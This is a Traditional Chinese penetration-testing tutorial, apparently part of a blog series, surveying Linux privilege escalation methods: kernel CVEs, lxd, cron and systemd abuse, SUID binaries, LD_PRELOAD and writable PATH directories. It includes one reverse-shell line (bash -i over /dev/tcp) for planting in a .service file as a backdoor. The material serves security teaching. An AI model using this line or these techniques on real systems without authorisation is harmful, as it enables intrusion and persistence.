快要結束了,今明兩天會講點拿下Server Initial Access(foothold)之後的權限提升。
在滲透測試期間,若是成功拿到Initial Access通常是漏洞發生的Service的權限,例如假設在網站上拿到RCE並成功彈回Reverse Shell,常常會是www-data
或是使用Apache Service的apache
帳戶,這種權限通常非常低,甚至也不會有正常的tty可以使用(可參考Day24 Bind Shell/Reverse Shell),之前也提過一些方法可以升級tty。在這種情況下,通常會尋求額外的訪問權限,不管是垂直提權或橫向(水平)提權,通常在滲透測試中,最終目標都是拿到整個機器的管理權限,也就是root或Administrator,確保可以最大程度影響/操縱整台Server,這也就是Privilege Escalation,權限提升。而今天的主題將會講述常見的Linux提權方法。
垂直提權: 攻擊者能獲得比現有帳戶更高的訪問權限,例如www-data
到普通帳戶craig
到管理員權限的root
。每個權限提升都會拿到比原本更多的執行權限,很多在www-data
無法執行的操作,會在craig
中得到,例如擁有完整的home目錄、或是craig
本身是開發者的話,也可能瀏覽到此人負責開發的project,取得原始碼。再到root
時,更是可以隨意的更改帳戶權限,擦除一些入侵痕跡(log)、竊取該機器上的所有帳戶創建的內容或是植入後門等等。
水平提權/橫向移動: 攻擊者能夠獲得與現有帳戶相同的訪問權限,但可以訪問其他原本無訪問權限的帳戶內容,例如Craig
到Angel
,各是Server上擁有相同管理權限,卻各有不同內容的帳戶,攻擊者可以透過訪問不同用戶取得不同用戶可以使用的"功能"和資料。
提權主要有幾種方法:
例如CVE-2016-5195的DirtyCow或是sudo(CVE-2021-3156)
例如CVE-2020-12464,USB Driver(嚴格意義上也屬於Linux Kernel)
可以透過dpkg
,rpm
查看已安裝的軟體包,例如舊版本的Nagios。
或是像lxd,如果你的user有在lxd的group中,可以透過lxd init
開啟LXD的程序,透過一些設定和操作,就可以拿來提權,過程十分簡單。
可以查看是否有service運行比原本預設更高的權限,例如在local中運行的service或是以root運行的某個網站功能。
查看是否有其他帳戶運行的cron job。一個曾遇過的狀況是一個以root運行的script,但用戶可以修改此script。
若是有限有帳戶可以修改或新增的.service權限,就可以在服務啟動、重啟時執行後門,例如寫入
ExecStart=/bin/bash -c 'bash' -i >& /dev/tcp/craig/1234 0>&1'
種類實在太多,這邊簡單列出幾個
SUID
gdb
openssl
vim
node
docker
find
更多可以參考GTFOBins
例如LD_PRELOAD
也可以查看再$PATH中的某個目錄下是否可以寫入檔案,可以通過在一個可寫的目錄中寫入一個後門或含有執行Shell或Reverse Shell的檔案。
除了上述提到的這些,還有像是Sudo Tokens重用、Backup檔案、NFS PrivEsc、rbash escape、logstash、Docker Breakout等等,族繁不及備載。
當然也有人將這些常見漏洞,寫成script,方便提權時使用,知名如
建議如果在滲透測試需要進行提權時,交叉使用不一樣的script,搭配手動測試可以得到最好的效果,也比較不容易遺漏。